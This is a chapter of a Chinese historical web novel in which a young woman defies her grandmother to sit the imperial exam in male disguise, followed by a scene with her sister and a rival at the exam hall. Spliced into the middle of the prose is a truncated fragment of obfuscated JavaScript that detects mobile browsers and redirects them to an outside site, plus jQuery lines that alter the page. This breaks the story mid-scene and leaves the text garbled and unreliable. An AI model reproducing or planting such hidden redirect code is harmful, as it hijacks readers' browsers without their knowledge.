“成亲这是迟早的事，你如今年岁正好，可以多瞧瞧。”施老夫人像是没有听见施霁雯的话语，她自顾自地拉着画像向施霁雯介绍，“这是林家的小子……”


    “祖母是因为会试一事吗？”见施老夫人不愿提，施霁雯便主动提起了这件事。


    话音刚落，施老夫人指着画像的指尖便蜷缩了起来，她佯装镇定地收起画像，鬓边的一缕银丝随着动作微微晃动。


    施霁雯的目光不由得柔和了些。


    施老夫人拄着拐，颤巍巍地站起身来，她干瘦的手指紧紧抓着施霁雯的手臂：“不要去了，朝堂的水浑得很，你招架不住的。”


    施霁雯伸手，搀扶住施老夫人：“既如此，祖母当初又为何非要让爹爹去科举呢？


    施老夫人抓着施霁雯手臂的力道卸了几分，她闭起眼，缓缓的吐出一口浊气。


    最早动了让施盛科举的念头，是为了给施家讨一个公道。


    因遇无良官府，捏造罪名，施家毕生积攒的家产被尽数吵没。丈夫性情刚直，执意鸣冤告状，反被活活杖毙于公堂上。


    之后的日子，是自己一人支撑起施家，将施盛与施妍拉扯大。


    在无数个日夜，她几乎是疯魔了一般，逼迫着施盛好好读书，考取功名。


    好在施盛争气，中了举，又娶了兰家的姑娘，施妍也嫁了言家，施家这才彻底在朝堂上站稳了脚跟。


    世间从来士农工商，四民之中以士为尊。唯有执掌权柄，身居上位，方能有开口立论之权，一言可定荣辱，一语可断浮沉。


    她缓缓睁开眼，声音暗哑却坚定：“你若是个男儿，祖母便是砸锅卖铁，也要送你入书院，考功名，凭你的聪慧和韧劲，何愁不能金榜题名，光耀门楣？可偏偏你生作女儿家，你阿爹一个男子这些年在朝堂上站稳脚跟都不容易，你寻个良人，平平安安健健康康地过一辈子，莫要做这大逆不道之事，祖母便放心了。”


    “祖母，孙儿记得，您同孙儿说过，您曾随祖父走南闯北营生。辗转天南海北，奔波于商贾生计，实属不易，可祖母也是女子。”施霁雯缓了口气，继续说道，“姨母也是女子，可如今在朝堂之上垂帘听政。”


    “可兰娴，当初便是因这朝局倾轧，为你父亲担忧，郁结于心，一病不起，这才……”


    施老夫人缓缓地吸了一口气：“雯雯，祖母想不明白，你有何非要进这朝堂的理由？”


    “世间人命，有重如泰山者，亦有轻如尘埃者。”施霁雯顿了顿，唇抿成一条直线，“孙儿想着，愿有朝一日，再无轻贱之命，无人如草芥可弃，人人皆得珍重，生生皆为至宝。”


    “好啊。”施老夫人甩开施霁雯的手，借着拐杖，撑住自己身体大半的重量。


    “祖母自认，比瓖都许多世家长辈，都要开明许多，你也不似其他闺阁女子，打小便是有主意的，在此之前，你若想做什么，祖母从未阻拦，也理解你的想法，可你这次太过出格。你是女儿家，觅的一个好夫婿，借着夫婿的官职威望，也可做你想做的事。”


    施霁雯的下颚线绷得紧紧的，一丝痛楚浮上她的眼底：“孙儿也曾想过求助旁人，可人心各异，立场不同，所思所行自也难与我相同。”


    她的语速缓慢，眼神却不避不闪：“纵是不能苛责，心中终究难平，不甘就此认命。”


    “……”


    “女子觅得良人，相夫教子，膝下承欢，安稳度日，亦是人间一等一的好归宿。祖母心疼孙儿，孙儿明白，可孙儿不甘这样了却一生。七岁那年，孙儿力排众议、孤身离府，本是为救人一命；时至今日，孙儿心依旧，从未改过半分初心。”


    施老夫人的眉仍旧拧的死紧，施霁雯伸出手，拉过施老夫人的手：“祖母莫要再担忧了，孙儿绝非孤身一人，至于婚事……”


    施霁雯沉吟片刻：“孙儿心中有数，祖母便不必再为孙儿张罗了。”


    ……


    施老夫人到底是没有再继续劝说。


    施霁雯瞧着是个清冷柔弱、眉眼温软的女子，偏生性子执拗至极，十头牛也拉不回半分，活脱脱便是她母亲当年的模样。


    几番劝说皆不动其心，无奈只能作罢。


    施老夫人铩羽而归，施盛也来过几次想就这件事与施霁雯交谈。


    对这个消息，他分外纠结。


    朝堂之上，群臣所倚，无非是血缘、师生、同门、乡谊、姻亲五大根基。这五者交织盘错，织就一张密不透风的底网，将世家荣光、权贵地位牢牢兜住。


    这施霁雯入仕，与他而言有利有弊，利在他与施霁雯是血缘，将来在朝堂上也会多一个助力。可弊于女子入仕，是乱阴阳、逆纲常，是大逆不道的行为，若一不小心，也会拖累到自己。


    他几次三番想找施霁雯谈论此事，都被她不动声色的打了太极。


    无奈，他最终也是随了施霁雯去了。


    会试考了整整九日。


    贡院的朱门缓缓开启，恰好此刻一阵春风拂过，似乎将这九日里积攒的沉滞气息都吹淡了几分。


    周遭学子鱼贯而出，或相拥狂喜，或仰天长叹，或是垂头扶额，一副懊恼至极的模样。


    施霁雯清瘦的身影站在人群之中，她眯起眼睛，天边残月初升，只觉得恍若隔世。


    为了避免不必要的麻烦，这九日，她是扮作男子来参与科考的。


    逼仄的号舍里，她僵着手指写完最后一道策论，搁笔时，心中竟有几分畅快之意，像是心中一直压着的沉重大石忽的消失了。


    “大……郎君。”玉璧站在不远处，朝着她挥手示意。


    施霁雯瞧见，抬了步，朝着玉璧快步走去。


    “阿姐。”


    站在玉璧旁的施霁烁也唤了一声，她从身后摸出一小包绿豆糕来，献宝似的递到施霁雯的面前。


    “阿姐快尝尝，听闻这科考九日都是关在号舍之中，几乎不吃不喝，我寻思阿姐出来也许会饿，便准备了这个带给阿姐垫垫肚子。”


    施霁雯忍不住勾起一抹浅笑，她接过施霁烁递来的绿豆糕，正欲打开，身侧却有人突然喊了自己一声。


    “宋姑娘。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316347|198364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >玉璧率先反应过来，行了个礼。


    曾经的“情敌”见面，施霁烁不动声色地打量起宋初韫。


    “雯姐姐，我来贺你。”


    宋初韫身旁的丫鬟上前，将手中拎着的热汤递了一份给施霁雯。


    “这是我亲手熬的鸡汤。”宋初韫笑着，目光却越过施霁雯的肩膀，看向她的身后。


    施霁雯接过丫鬟递来的鸡汤，状似不经意瞥了一眼丫鬟手里的另一个食盒。


    这是——醉翁之意不在酒。


    宋初韫像是看到了什么，她飞快地收回视线，“明日祈福还要劳烦雯姐姐莫要忘了。”


    施霁雯点头算是应下。


    随后便见宋初韫抬了步，几乎是小跑着朝着自己身后的某个方向奔去。


    “我才是来专门接阿姐的。”施霁烁盯着宋初韫的背影凉凉道，“明明是我的阿姐，才不是你的雯姐姐。”


    人群之中，言子淮被一群人簇拥着走出，他一袭青衫，温润如玉，身旁像是有人问了他什么，他噙着温和的笑，耐心地回答着。


    “子淮。”宋初韫从丫鬟手中接过食盒，递到言子淮的面前，“我炖了许久的，送你。”


    身旁围拢的人皆是愣了一愣，他们面面相觑，最后不约而同地看向了中间的那人。


    “多谢宋姑娘好意。”言子淮颔首，礼数周全，但声音疏离又客气，“夜色已晚，宋姑娘快些回府，言某尚有事宜与同窗商议。”


    他的话毕，竟是对着宋初韫一拱手，便转身与其他学子一同离去。


    宋初韫站在原地，似乎僵住了，她捧着那个食盒，心一点一点地凉了下去。


    施霁烁也站在原地没有动，她将这一切尽收眼底。


    她“啧”了一声，便要挽着施霁雯的手臂朝施府的方向离去。


    “我倒是看不懂子淮表哥了。”她的面上浮上一抹喜色，“如今倒是庆幸，当初是我一厢情愿。”


    ……


    第二日一早，宋府来的马车倒是准时地停在了施府的门口。


    施霁雯早早地将自己收拾清楚，便带着流苏踏上了宋初韫的马车。


    马车摇摇晃晃，宋初韫的脸色却看着不怎么好的样子，她的神色恹恹的，像是一夜都没有睡好。


    她懒懒地打了一个哈欠。


    施霁雯问道：“昨夜没有睡好？”


    “昨夜思虑过多，今日又起得早，无碍，等回府时，再睡上一觉便好了。”


    宋初韫摆摆手，挑了帘，便出神地看向车外。


    天边刚刚泛起鱼肚白，街市上倒也没什么人，马车一路也算得上是畅通无阻。


    施霁雯瞥向前路，却直觉这路似乎有些不对。


    “这路，不像是去灵贤寺的？”


    “嗯，对。”宋初韫像是回了神，她低下头，耳尖诡异地染上了一点粉色。


    施霁雯扫了一眼宋初韫粉红的耳尖：“那我们现在是去哪儿？祈福高中不是该去灵贤寺吗？”


    “我想先去趟临县附近的那座月考庙，听闻那儿求情缘很是灵验。”